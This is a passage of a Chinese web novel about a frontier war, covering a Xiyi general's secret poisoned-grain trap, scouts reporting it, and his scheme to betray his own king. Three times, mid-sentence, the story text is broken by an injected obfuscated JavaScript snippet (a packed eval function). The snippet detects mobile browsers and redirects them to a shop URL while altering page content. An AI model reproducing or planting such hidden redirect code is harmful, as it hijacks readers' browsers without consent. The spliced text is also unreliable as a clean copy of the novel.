拉杜沉默了很久。夜风吹过大树,树叶沙沙作响,将他的声音衬得格外低沉而决绝:“大王这次集结了五部兵力,把十部里最精壮的五部士兵都征调来了,牛羊宰了犒军,存粮全充了军粮。这相当于是掏空了西夷七层的人力、财力、物力。如果这一仗赢了,我们将会赚来更多的土地,更多的钱财——宁国这千里沃野,比咱们整个西夷草原不知富庶多少。如果这一仗输了,便会元气大伤——不知道多少年才能缓过来。而且,我们只能向宁国俯首称臣。 早在筹谋第五次攻打顾家军时,我便向大王建议早些派人渗透进入西疆,使一些手段,里应外合。可大王说——顾恩打仗,凭借的是真本事,从来没有用过下作的手段。他这次要赢顾恩,一定要靠自己的真本事与顾恩正面交锋,光明正大地打败顾恩。可大王也不想想——他顾恩是谁?他比顾稳都厉害!前四次大王用了真本事,赢了哪一次?为了赢得这场战争,为了不让西夷国不被灭,我不得不在暗地里谋划一切——早派人潜入西疆,渗透到西疆村庄的百姓之中,把毒粮草藏在空村里,把士兵混进阳城关的百姓里。这些事,大王不知情,都是我私自做的。” 拉杜的心腹听了,声音低沉而郑重:“希望大王能明白您的忠心。” 拉杜苦笑了一声:“大王正面与顾恩打,我背后与顾恩打。一明一暗,双管齐下,一定会赢得这场战争。至于大王事后如何处置我——到时候再说。只要能保住西夷,我这条命,给他就是了。” 青山伏在灌木丛后面,听着这段对话,只觉一股寒意从后脊背直窜上来,浑身汗毛倒竖。 他暗自思忖道:原来村庄里暗藏那些上好粮草,是一个精心设计的陷阱——他们故意让顾家军的斥候发现,故意引诱他们把粮草拉回驻地。 他不敢再多留,悄悄从灌木丛中退了回去,匍匐着离开了西夷王的中军大帐,然后起身,借着夜色的掩护快步离开,前往集合的那个草窝。他的脚步比来时更急,因为这一次,他带回了一个足以改变整个战局的情报。 55. 北疆援军,八万铁骑 西夷王中军大帐的外面,是如墨的黑夜。阴风山的山风裹着沙砾打在帐布上,发出簌簌的声响。 帐外巡逻士兵的脚步声整齐而沉闷,偶尔有马嘶声从远处的铁骑驻地传来。在中军大帐里,灯火明亮。 几盏青铜灯架上燃着掺了香料的灯油,将整个大帐照得如同白昼。西夷王与他的左将军拉杜、右将军和其他将领正立于沙盘之前,分析敌情。 这座沙盘是用阴风山的黏土塑成的,上面插满了黑旗和红旗,标注着狼牙关、阳城关和周边每一座城池和村庄的位置。 右将军伸手指着沙盘上顾家军驻地的位置,语气里带着几分无奈:“目前顾家军驻地和各大城池的防守是滴水不漏,我们的探子乔装了几拨人,想混进去,都被挡了回来。根本进不去,自然掌握不了最新的敌情。他们的明哨、暗哨、游动巡逻,一层叠一层,连个送菜的菜贩子都要验三遍身份。” 西夷王站在沙盘前,双手撑在沙盘边缘,目光沉稳如鹰。他听了右将军的话,非但没有动怒,反而微微点了点头:“这才是小心谨慎、沉稳如山的顾恩。此时打探不到任何消息,才是正常情况。顾恩这个人,本王小瞧了他三次,第四次才学乖——他就是那种你越急他越稳的人。如果在此时危急的时刻,我们的探子还能轻易打探得到消息,那不是我们的探子有多厉害,而是顾恩故意而为之。事出有妖必有反常——一旦顾恩故意放出消息,这就说明他自乱了阵脚,想要用假情报来迷惑本王。现在看来,他稳得很。” 左将军拉杜站在沙盘另一侧,手指在沙盘上轻轻叩了叩,接过话头:“大王,他顾恩的防守并非那么严密。根据我手下传回来的消息,顾家军不仅在训练他们常用的长蛇阵和鹰阵——这两个阵型我们已经研究了无数次,算是摸透了。但他们还在训练其他阵法——具体是什么阵法暂时没有刺探出来,但探子远远望见他们在校场上摆出的阵型,和他们以往的路数不一样。四次与顾家军交战,我们就吃亏在他们变幻莫测的阵法上——开始是长蛇阵,打到一半突然变成八卦阵,我们的铁骑被绕了进去,损失惨重。” 西夷王抬起手,示意拉杜不必再说。他缓缓扫视了帐中一圈,然后大声说道,声音洪亮而自负,在大帐中嗡嗡回响:“顾家军面对我们如此众多的兵力——五部联军,再加上本王的精锐铁骑——他们的长蛇阵和鹰阵,我们已经找到了破解之法。正面佯攻诱敌,侧翼绕过阵型薄弱处包抄后路,长蛇阵首尾不能相顾便会溃散;鹰阵两翼被抄了后路便无路可退。这些阵法,现在根本拦不住我们六万铁骑!想要拦住我们这些铁骑,即便是他顾恩再有其他的阵法,我们还有八万援军——北疆铁骑!” 他顿了顿,目光在帐中诸将脸上逐一扫过,将他们的震惊尽收眼底,“你们想想,加上我们现在的六万铁骑,一共有十四万铁骑。在绝对的兵力面前,任何阵法都将失去作用。什么精妙阵型,什么变幻莫测,十四万铁骑压过去,他顾恩就是有通天的本事也挡不住!” 右将军眼睛一亮,上前一步问道:“大王,不知北疆的八万铁骑如今身在何处?如果让顾家军的斥候探到了消息,他们定会早早做好准备——在沿途设伏,或者加固防线。我们是不是应该派人去接应一下?” 西夷王嘴角浮起一抹高深莫测的笑意,摇了摇头:“天机不可泄露。这八万北疆铁骑,可是本王的王牌——是本王花了一年时间、许了无数好处才从北疆借来的。岂能让他顾家军能够随意打探到的?本王要的就是这八万北疆铁骑从天而降,在顾恩以为他摸清了本王底牌的时候,突然出现在战场上,杀他一个措手不及,让顾恩在战场上自乱阵脚。” 右将军连忙拱手,赞道:“大王真是妙计啊!先用六万铁骑正面压制,再用八万北疆铁骑出其不意——顾恩就是算破脑袋也算不到这一手。” 西夷王大笑了一声,那笑声里满是志在必得的狂妄。他挺直了胸膛,手指在沙盘上重重一捶,震得几面小旗都跟着晃了起来:“这一次,本王定要打败顾恩。将他那颗脑袋砍下来,用木匣子装了,拿回去挂在王庭的顶上——让全天下的人都看看,这个让本王败了四次的人,最终还是死在了本王的手里。本王还要踏碎宁国的河山,越过狼牙关,越过阳城关,将宁国那富庶的沃野和所有的财富全都纳入囊中!” 左将军拉杜静静地站在一旁,看着西夷王那志得意满的模样,心里轻轻叹了口气。 他太了解他的王了——大王一旦觉得自己有了压倒性的优势,便会高傲起来,变得目中无人。第四次交战之前,大王也是这样,在帐中对着沙盘大笑着说必胜,然后带着大军浩浩荡荡地出发,最后被顾恩打得狼狈逃窜。 他上前一步,拱手劝谏道:“大王,人不可无傲骨,但不可有傲心。傲骨使人挺直脊梁,傲心使人蒙蔽双眼。一旦有了傲心,我们将看不到全局,看不到那些我们以为不值一提却足以致命的细节。大王,这一战关系到我西夷的国运,我们还是小心为妙。” 西夷王转过头,看着拉杜。他眼中的狂妄微微收敛了几分,但取而代之的是一种居高临下的、漫不经心的教训。 他拍了拍拉杜的肩膀,语气里带着几分过来人的自负:“左将军啊,你跟了本王大半辈子,忠心可嘉。可有时候,太过于谨慎小心,只会牵住自己的脚步,让你在战场上犹豫不决。你看那清川河的滔滔河水——” 他伸手指向帐外,仿佛那条河流就在眼前,“每一滴水都在滚滚向前,毫无顾忌地往前冲。它们不怕撞上礁石,不怕被岸壁挡住,正因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618735|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无所顾忌,才有了那滔滔不绝之势。如果河里的每一滴水都像你一样小心谨慎,瞻前顾后,怎么会有那冲垮一切、一往无前的气势呢?” 左将军拉杜张了张嘴,欲再进言。他想说——大王,河水之所以滔滔不绝,是因为有河床约束着它,如果没有河床,水就漫得到处都是,最后渗进沙土里什么都没了。 可西夷王已经抬起手,将手掌竖在他面前,示意他不必再说。那双年迈却不失锐利的眼睛里,重新被一种不容置疑的自信填满了。 拉杜唯有闭上了自己的嘴,将那些咽回去的话压在舌根底下。他垂下眼帘,不再开口,只是静静地站在沙盘旁,看着眼前那座标注着双方兵力部署的沙盘,心里却比任何人都清楚——这一仗,不能只靠大王的正面强攻。他有自己暗中布下的局,那些藏在空村里的毒粮草,那些混进阳城关的士兵,都是他背着大王做的。大王不屑用阴谋,他来做;大王要光明正大,他来承担。再有,他也可借此来实现自己多年的谋划。 西夷王的目光也从沙盘上掠过,不过他心里想的不是那些阵法攻防,而是拉杜。 他太了解他这位爱将了——拉杜跟了他四十多年,从他还是王子的时候就追随左右,忠心耿耿,从不曾有半分动摇。 拉杜曾多次劝他使一些手段——派人渗透、下毒、截杀、策反,每一次都被他严词拒绝了。不是他不想用手段,而是他太知道,无论自己用不用这些手段,拉杜都会替他去做的。他不问,不管,装聋作哑,却心如明镜。这样也好——他正面与顾恩交锋,用真刀真枪、光明正大;拉杜暗中与顾恩对决,用计谋、用渗透、用那些见不得光的手段。届时一明一暗,里应外合,何愁打不倒顾恩? 草原上的日光又冲破了云层,以它喷薄之势将光芒铺在了草原之上。昨夜的阴云已被晨风吹散,金色的光从东方漫过来,将草叶上的露珠照得闪闪发光。 青山立于那个草窝旁的山头上,晨风拂过他那张被风沙刻满了纹路的脸。他在等待顾承宇和飞虎的到来。 没一会儿,空中便传来了几声清脆的鸟鸣——一长两短,是顾承宇的暗号;紧接着又是一声拖长的尾音,是飞虎的。 他嘴角浮起一抹笑意,这三个人的暗号凑齐了,便翻身上马,循着鸟鸣的方向策马而去。马蹄踏过晨露浸湿的草地,留下几行深深浅浅的蹄印。 不久,三人在一处低矮的山坡下汇合。顾承宇面色沉静,飞虎气息微喘,显然都是一路疾驰赶回来的。 三人互相看了一眼,没有多说话——各自的眼神里都装着沉甸甸的情报。 青山调转马头,对着顾家军驻地的方向扬鞭一指。三人同时策马,朝着驻地疾驰而去,身后扬起的烟尘在晨光里拉出了三条长长的尾巴。 56. 沉默,是大战前的语言 又是长河落日之时,西疆的落日浑圆而壮阔,将整片草原染成了深金色。 营地里的篝火刚刚点燃,伙头军正扛着大锅往校场方向走,远处传来士兵们操练归营的号角声,一声长一声短,在暮色里回荡。 中军帐里,顾恩、顾典、薛敬、顾恩的四大副将——钱、颜、余、张——以及那几位须发全白的老将都聚集在帐中。 不过,他们没有围在沙盘前,而是各自坐在相应的位置之上。帐中烛火通明,将每个人的脸都照得轮廓分明。气氛与往日不同——不是临战前那种剑拔弩张的紧张,而是一种山雨欲来前的沉静,每个人都在等,等斥候带回来的消息。 顾承宇、青山、飞虎三人站在军帐中间,披着一身的风尘与草屑,脸上还带着连日奔波留下的疲惫。三人的衣襟都被汗水和晨露浸透了好几回,鞋底磨得见了线,却站得笔直。他们依次禀报自己打探到的消息。 飞虎上前一步,抱拳道:“将军,我又去了其他村庄仔细搜查,那些村庄空空荡荡,地窖、磨坊、草垛下面都翻遍了,并未发现敌人的粮草,也未见有敌人的足迹。看来粮草只藏在特定的几个村子里,不是每个村都有。” 顾恩微微颔首,目光沉稳如常,转向了站在飞虎身旁的顾承宇。 顾承宇抱拳禀道:“将军、军师,那些藏在空村里的粮草,我都一一打开看了——黑豆颗粒饱满,炒得喷香;草料切得精细,每一捆都像是用心挑过的。都是上等粮草。而且还有人在暗处巡逻,每隔一个时辰便提着灯笼挨个查看粮草是否完好。这些粮草,不像是敌人真正用来补给的军粮——若是真的粮草,怎会藏在撤离的村庄里而不是放在大营里?更像是敌人的一种计策,故意摆在那里给我们看的。” 顾恩与薛敬相视一眼,几位副将也互相交换了目光。帐中一时沉默,只听见烛火轻微的噼啪声。 青山上前一步,抱拳环视帐中众人,声音沉定:“将军、军师,承宇说得对。那些藏在空村里的粮草,的确是敌人的毒计——不是粮草,是毒饵。” 顾恩依旧稳稳地坐着,面色不改,只是搭在膝上的那只手微微收紧了几分。其他人却纷纷站了起来。军师薛敬几步走到青山面前,手中的折扇啪地合拢,语气罕见地急促:“快快说来——到底是什么毒计?” 青山深吸一口气,将昨夜在阴风山大营里听到的对话,一五一十地倒了出来——敌人在筹谋攻打宁国时,便早已悄悄派人渗透到了西疆各处村庄,换上宁国百姓的衣衫草鞋,混进了边境的村落里潜伏下来。只等开战时,里应外合,从背后捅顾家军的刀子。而那些藏在空村里的上等粮草,是拉杜故意摆在那里给顾家军斥候发现的——那些黑豆和草料里掺了慢性的药,马吃了跑不动,人吃了站不稳,若真拉回驻地,后果不堪设想。 青山话音刚落,一个须发全白的老将猛地跳了起来,一掌拍在旁边的木桌上,茶盏都震得跳了起来。老将军破口大骂:“他娘的!这个西夷老贼,真是奸猾至极!前四次打不过,第五次就想出这等下作手段——明暗结合,背后捅刀子,想把顾家军往绝路上逼!如今敌军都到家门口了,我们的斥候才刺探到这些!”他霍地转过身,瞪着青山,怒气冲冲地说,“青山!你这斥候长当得失职啊!敌人渗透进来这么久,你到现在才发现?” 青山单膝跪地,低着头,声音沉重而坦荡:“将军,老将军,这是青山失职。青山没有及早发现敌人的渗透,险些酿成大祸。青山愿意领罚——无论什么处罚,绝无怨言。” 顾恩抬起手,示意那位老将军稍安勿躁。他看着那位须发全白的老将,声音温和却有力:“老叔,切莫暴怒。西夷王本就心狠手辣,他这次联合五部重兵、第五次卷土重来,能用这些计策,本就在预料之中——不是用不用的问题,是早用晚用的问题。再者,这次战争乃是西夷王第五次卷土而来,他一定是做好了万全的准备,从兵力到粮草,从正面到暗处,每一层都反复谋划过。哪里能轻易让我们的斥候发现?道高一尺,魔高一丈——敌人的计策只有想不到,没有他们用不出的。这也不能全怪青山。况且,现在发现还不晚,还有补救的余地。” 须发全白的老将军听了这番话,这才重重地哼了一声,将铠甲一抖,重新坐了下来。可他那只手还是攥着拳头搁在膝盖上。 顾恩看着青山,声音平和却带着不可抗拒的威严:“起来吧。再说说你打探到的其他情况。” 青山站起身来,面色依旧沉重:“将军,那些渗透的敌人,并非西夷王亲自下令所为,而是他的左将军拉杜背着西夷王私自做的。属下亲耳听到——拉杜对他心腹说,他曾多次劝西夷王使用手段渗透,都被严词拒绝。西夷王说将军您打仗凭借的是真本事,从未用过下作手段,他这次要赢您,一定要靠自己的真本事正面击败您。拉杜怕他们这位一有点实力便生出傲心的王再次战败,便擅自做主,暗中派人渗透,提前布下毒计,只等里应外合。” 大家听了,震惊不已。几位副将面面相觑,有人眉头紧锁,有人嗤之以鼻。 顾恩听了,嘴角却微微一翘,那笑容里没有嘲讽,反倒有一丝复杂的感慨:“拉杜乃是西夷王身边的老将了,跟了他四十多年,从无二心。他私下做第二手准备,一定是因为太了解自己的王——怕那个一有点实力便高傲起来、目中无人的王,再一次重蹈覆辙,再一次败在顾家军手里。他信不过大王的判断,却愿意用自己的方式替大王兜底!” 陷入沉思的军师薛敬眉头一抬,折扇在掌心里轻轻一敲,那双素来沉静的眼睛里闪过一丝锐利的光:“老西夷王临死都未统一西夷草原。而西夷王打了半辈子仗,统一西夷草原,成了草原之主,其眼睛之毒辣、心思之缜密,绝非等闲之辈。拉杜在他眼皮子底下搞这些动作——私自派人渗透,私自藏匿粮草,这一桩桩一件件都不是小事。西夷王不可能不知道。也许,他只是睁一只眼闭一只眼——他不屑用,但他不拦着别人替他做。毕竟,赢了,是他的功;输了,是拉杜的罪。” 顾恩微微点头,随即话锋一转,目光重新落在青山身上:“青山,有无查探到其余铁骑的消息?那十万铁骑,在阴风山只剩五六万,其余的数万骑绝不可能凭空消失。” 青山低下头,声音里带着一丝发自心底的愧疚:“将军,属下失职,在阴风山附近反复查探,主力驻地、铁骑驻地、各处山坳都摸了一遍,还是没有查到。那些剩下的铁骑,仿佛上了天入了地一般。” 军师薛敬眉头紧锁,手指在折扇上轻轻叩着,缓缓分析道:“前几次的军情,每次都是说西夷王率领十万铁骑。三批斥候,从不同方向、不同时间、不同的情报源头,打探回来的都是同一个数字。可如今,西夷王在阴风山停下脚步,那十万铁骑突然少了将近一半。前后刺探到的军情完全对不上——莫非,前面那些十万铁骑的消息,是西夷王故意放出的假消息?他知道我们会派斥候去数他的兵力,便用疑兵之术,让我们以为他有十万铁骑。如若不然,这几万铁骑能藏到哪里去?上天入地了不成?” 青山赶紧说道,语气斩钉截铁:“军师,之前刺探到十万铁骑的军情,不会有错。属下亲自带人一路暗中跟踪他们的行军路线,在大军后方一截一截地数过营帐和马厩,又抓了暗中抓的两个西夷士兵审问核对过。的确有十万铁骑的规模。只是到了阴风山之后,那十万铁骑突然之间少了一半——就像是有人在中途悄悄分走了一支队伍,去了另一个方向。” 顾典在一旁听了半天,忽然插嘴,他挠了挠后脑勺,皱着眉头说:“大哥,是不是西夷王根本没有十万铁骑?出发时那十万铁骑,会不会是他找人充的数量——拿普通骑兵换上铁骑的旗号,在队伍里多立几面旗,多扎几排空帐篷,看着声势浩大,其实真正能上阵的铁骑也就这么五六万?” 顾恩从座位上站起身来,走到沙盘前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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顾恩点了点头,缓缓踱了两步。烛火将他高大的影子投在帐壁上,随之晃动。他的声音不高,却带着一种久经沙场的人特有的从容与洞察:“很好。让你们的手下继续跟踪,不要惊动他们。那个西夷王的左将军拉杜——论冲锋陷阵,他是一把好手,可以以一当十,战场上是一头真正的猛虎。可论用计策,他的脑袋还不够使。他的计谋,处处都露着马脚——把粮草藏在空村里故意让我们发现,把士兵混进百姓里却连脚掌尺寸都不知道改一改,这些手段,对付别人也许够用,可对付顾家军,还差得远。那西夷王,乃是高傲、胜负欲极强之人,不屑用阴谋,却也不拦着别人替他做。而拉杜——则是自以为是之人。他以为他的那些计策可以与西夷王里应外合,两面夹击让我们腹背受敌。可是,他碰见的是我顾恩。” 他说完,走到四位大将面前,微微俯身,压低了声音,每一个字都像是一枚钉子钉进了作战计划里:“下去告诉你们手下的校尉——传出去一些真消息,再传出去一些假消息。真的,要让敌人以为我们上当了;假的,要让他们做出错误的判断。战事一起,让那些隐藏的敌人将城门打开,把敌人放进来——让他们以为自己得手了,让他们觉得里应外合成功了。然后,关门打狗。至于怎么一个打法,你们让各自的校尉自己看着办,因地制宜,因势利导,不必事事请示。但是,有一个原则不能变——一定要以最小的代价,将敌人消灭干净。我们的兵,每一个都是爹生娘养的,能少死一个就少死一个。” 四位大将听完,眼中精光闪动,嘴角纷纷浮起一抹只有战场上出生入死的人才有的冷笑。他们齐声说道,声音低沉而有力:“将军放心,末将一定让这群王八犊子有来无回。” 顾恩直起身,挥了挥手。四位大将鱼贯而出,帐帘在他们身后落下,烛火被灌进来的夜风吹得晃了几晃,又稳稳地燃了起来。 顾恩独自站在沙盘前,双手撑在沙盘边缘,低着头,目光沉静地注视着那些标注着敌我态势的小旗。 薛敬和几位老将军站在他身后,也没有说话,只是轻轻展开了手中的折扇。 帐中只余烛火跳动的声音,和远处偶尔传来的一声号角。大战将至,而沉默,是将帅在战前最后的语言。 57. 借顾恩之手,除掉西夷王 夜色如墨,沉沉地压在阴风山的上空。西夷王的中军大帐里灯火通明,几盏青铜灯将帐中每个人的脸都照得轮廓分明。 西夷王站在沙盘前,左将军拉杜、右将军和其余几位将领围立两侧,帐中气氛肃杀而凝重。 右将军指着沙盘上标注的几座城池,率先开口:“大王,攻打城池的军队已经就位,各处的兵力都已按照既定部署安排妥当。目前主要是攻打狼牙关隘和阳城关的进攻方式还需调整,尤其是攻打狼牙关的方法,还需要再斟酌。这狼牙关隘,可是决定着整个战局的胜负——得狼牙关者得西疆,得西疆者得宁国。此关一破,宁国的门户就敞开了。” 西夷王双手撑在沙盘边缘,目光如鹰隼般盯着狼牙关的位置,沉声道:“狼牙关隘,本王早已有了安排。五万北疆铁骑冲在最前,作为第一波冲锋,撕开顾家军的防线;三万西夷铁骑居于中间,接应第一波冲锋并向两侧展开;主力步兵从两侧配合推进,形成三面夹击之势。同时,利用现在已经吹起来的西北风,在风口点燃湿草和硫磺,用浓烟熏燎关隘上的守军,再进行火攻——将桐油罐以投石车抛上关墙,再以火箭引燃。三重进攻之下,就算他狼牙关隘是铜墙铁壁,也完全可以攻破。” 他顿了顿,手指在沙盘上从狼牙关划向阳城关,“待到突破狼牙关,依旧让剩下的三万北疆铁骑作为前锋,本王亲自率领其余的西夷铁骑作为中卫。右将军、左将军,你们各领左右两翼,一举拿下阳城关。只要阳城关一破,整个西疆就是本王的了。” 右将军和左将军听了,面上不动声色,心里却都如明镜一般——大王这是把北疆铁骑放在最前面,让他们去硬扛顾家军最坚固的防御,用北疆的人命和马匹去填狼牙关那道天险。说白了,北疆铁骑就是铺路石,是用来消耗顾家军箭矢、滚木和体力的牺牲品。他们不知道大王究竟给了北狄王多少好处,才能让北狄王同意借出八万铁骑。不过,顾恩从未与北狄军队交过锋,不熟悉对方的战略战术和作战习惯,北疆铁骑的打法与西夷截然不同,顾恩极有可能会被打个措手不及。这样一来,胜算便会增加几分。 西夷王抬起眼,扫过左右两位将军,问道:“这样的安排,你们可有异议?” 左右两位将军对视一眼,纷纷点头:“没有。” 西夷王看着他们,大手一挥:“既然如此,赶紧去安排好。西北风已经吹起来了,这风是老天爷给我们的信号。我们该进攻了。” 众将领命,鱼贯退出中军大帐。左将军拉杜走出帐外,夜风迎面扑来,吹得他的袍角猎猎作响。他穿过几重巡逻的士兵,面色平静如常,直到掀帘走进自己的军帐,屏退了左右随从,帐帘落下,那张忠于西夷王的面具才一寸一寸地撕了下来。 烛火在他脸上跳动,映出一双深沉而冷酷的眼睛。西夷王此次大举进攻宁国,面对顾恩这样的对手,胜负难以预料——即便有五部联军,即便有十四万铁骑,他也无法说服自己这一仗稳赢。他见过顾恩打仗,那是一个能在绝境中翻盘的人,和他的父亲顾稳一样可怕。他要想办法让西夷王输掉这一场战争。 西夷王已经六十了,早已过了巅峰,已经不是当年那个能在马上连斩数将的雄主了。他不适合再当西夷国的王了。拉杜要给西夷国留一条后路,给自己留一条路,更要给自己最小的女儿——西夷王王妃——和年幼的外孙留一条后路。 他早就计划好了:让西夷王死这场战争之中,再借这场战争来灭掉右将军麾下的强大势力。这两根钉子一旦拔掉,他的外孙就能当上西夷的王,而他——将以摄政之尊,手握西夷至高无上的权力。 为了这一切,他已经计划了多年。目前,他得想办法把北疆铁骑的消息暗中透露给顾家军;还得想办法让自己在战场上活下来,不能陪着西夷王一起去死。 西夷王最信任的部下已经有了二心,而西夷王自己,还蒙在鼓里。他依然站在中军大帐的沙盘前,望着狼牙关的位置,踌躇满志地构想着他的宏图霸业,砍下顾恩的脑袋。他不知道自己最倚重的左将军正在背后为他掘墓,也不知道这一战,注定要失败。 而远在宁国北方的北狄王庭,此时正是一派歌舞升平的奢靡景象。北狄王正在与自己的新宠——那个从三儿子达鲁那里夺来的爱妃哈雅——在华丽的锦帐中尽情享乐。 烛影摇红,锦衾凌乱,那张宽大的兽皮榻上,北狄王满足地闭上了眼睛,浑然不知他那一直以憨厚老实示人的三儿子达鲁,正站在殿外的阴影里,用一双冰冷的眼睛望着这扇紧闭的殿门,心里盘算着一个比草原上的狼群更凶狠的计划。 一年前,当西夷王带着无数的金银珠宝、成箱的玉石玛瑙和数十名草原绝色美女前来北狄国请求借兵支援时,北狄王本是坚决不同意借兵的。 可是北狄王的三儿子达鲁知晓后,达鲁知道父王一直觊觎自己的爱妃哈雅——那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他依旧每天挂着那张憨厚老实的笑脸,对着父王恭恭敬敬,对着哈雅礼数周全,对两个哥哥的遭遇表现得既惋惜又无奈。没有人看穿这副面具,更没有人知道,这个看似人畜无害的三王子,正一步一步地将整个北狄王朝推向一场精心策划的权力洗牌。 达鲁继续扮猪吃老虎。他在等——等西夷王兵败的消息传回北狄,等那八万北疆铁骑再也回不到故乡的草原。那一日,便是他撕下伪装、登上北狄王座之时。他不急,他已经等了很久了,不在乎再多等一阵子。他要做的,是在那个时机到来之前,把每一颗棋子都摆在它该在的位置上。 夜色笼罩着草原,也笼罩着远方那片即将被战火点燃的土地。 阴风山脚下,顾承宇、青山、招财和飞虎四人伏在密林深处,等待着又一个黑夜的降临。 他们并不知道,就在今夜,一场左右战局的博弈,已经从西夷王的大帐、拉杜的野心、北狄王庭的阴谋中悄然展开。 而他们要做的,是再一次摸进那片敌营,把那些藏在暗处的铁骑、那些藏在暗处的野心,统统挖出来。